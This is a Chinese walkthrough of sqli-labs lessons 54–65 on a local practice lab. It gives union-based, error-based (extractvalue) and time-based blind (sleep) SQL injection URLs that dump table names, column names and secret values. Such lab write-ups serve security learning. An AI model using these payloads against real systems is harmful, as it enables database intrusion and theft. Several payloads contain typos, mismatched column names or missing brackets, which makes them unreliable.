LESS-54-55-56-57-58-59-60-61-62-63-64-65

LESS-54
此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察
的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的
减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
因为已经知道了数据库名字叫做 challenges,所以我们需要知道表名 LESS-54-55-56-57-58-59-60-61-62-63-64-65_第1张图片

输入:
?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27–+
爆出了表名:dcifd0ca0t;
LESS-54-55-56-57-58-59-60-61-62-63-64-65_第2张图片
输入:http://127.0.0.1/sqlilabs/Less-54/
?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27dcifd0ca0t%27–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第3张图片
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_O8GE 列中,所以我们直接查看该列的内容

输入:http://127.0.0.1/sqlilabs/Less-54/?id=-1’union select 1,2,group_concat(secret_P0F0) from challenges.dcifd0ca0t--+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第4张图片
LESS-55
本题与上一题的不同为闭合方式不同。LESS-54-55-56-57-58-59-60-61-62-63-64-65_第5张图片输入:http://127.0.0.1/sqlilabs/Less-55/?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第6张图片
输入:http://127.0.0.1/sqlilabs/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘5d48supt0s’–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第7张图片
输入:http://127.0.0.1/sqlilabs/Less-55/?id=-1)%20union%20select%201,2,group_concat(secret_R35V)%20from%20challenges.5d48supt0s–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第8张图片
LESS-56
与前面2题的方式相同,只是sql不同,不做详解LESS-54-55-56-57-58-59-60-61-62-63-64-65_第9张图片
LESS-57LESS-54-55-56-57-58-59-60-61-62-63-64-65_第10张图片
这里的sql虽然没有闭合但是,前面已经有双引号的处理了。

输入:http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(table_name)%20from information_schema.tables where table_schema=‘challenges’–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第11张图片
输入:http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(column_name)%20from information_schema.columns where table_name=‘5d48supt0s’–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第12张图片
输入:http://127.0.0.1/sqlilabs/Less-57/?id=-1"%20union%20select%201,2,group_concat(secret_R35V)%20fromchallenges.5d48supt0s–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第13张图片
LESS-58
执行 sql 语句后,并没有返回数据库当中的数据,所以我们这里不能使用 union 联合注入,这里使用报错注入LESS-54-55-56-57-58-59-60-61-62-63-64-65_第14张图片

输入:http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第15张图片
输入:http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘7mu71b84nt’),0x7e))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第16张图片
输入:http://127.0.0.1/sqlilabs/Less-58/?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(secret_3ZLC) from challenges.7mu71b84nt),0x7e))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第17张图片
Less-59
本题就闭合方式与上一题有所不同,不做详解LESS-54-55-56-57-58-59-60-61-62-63-64-65_第18张图片
LESS-60
也是比和方式有所不同。
LESS-54-55-56-57-58-59-60-61-62-63-64-65_第19张图片
输入:http://127.0.0.1/sqlilabs/Less-60/?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=‘challenges’),0x7e))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第20张图片
Less-61
闭合方式有些特殊LESS-54-55-56-57-58-59-60-61-62-63-64-65_第21张图片
输入:http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第22张图片
输入:http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘2wdgbim8tv’),0x7e))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第23张图片
输入:http://127.0.0.1/sqlilabs/Less-61/?id=-1’)) and extractvalue(1,concat(0x7e,(select group_concat(secret_G7QO) from challenges.2wdgbim8tv),0x7e))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第24张图片
LESS-62
这里union注入和报错注入都不行LESS-54-55-56-57-58-59-60-61-62-63-64-65_第25张图片
输入:http://127.0.0.1/sqlilabs/Less-62/?id=1’)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第26张图片
正确会很快,而出现错误会等待10秒。

LESS-63
只是闭合方式有所不同LESS-54-55-56-57-58-59-60-61-62-63-64-65_第27张图片
输入:http://127.0.0.1/sqlilabs/Less-63/?id=1’and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’,1,1))=77,0,sleep(10))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第28张图片
LESS-64
只是闭合方式不同,不做详解LESS-54-55-56-57-58-59-60-61-62-63-64-65_第29张图片
LESS-65
只是闭合方式不同LESS-54-55-56-57-58-59-60-61-62-63-64-65_第30张图片
输入:http://127.0.0.1/sqlilabs/Less-65/?id=1") and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%2
7),1,1))=79,0,sleep(10))–+LESS-54-55-56-57-58-59-60-61-62-63-64-65_第31张图片

你可能感兴趣的:(sql注入)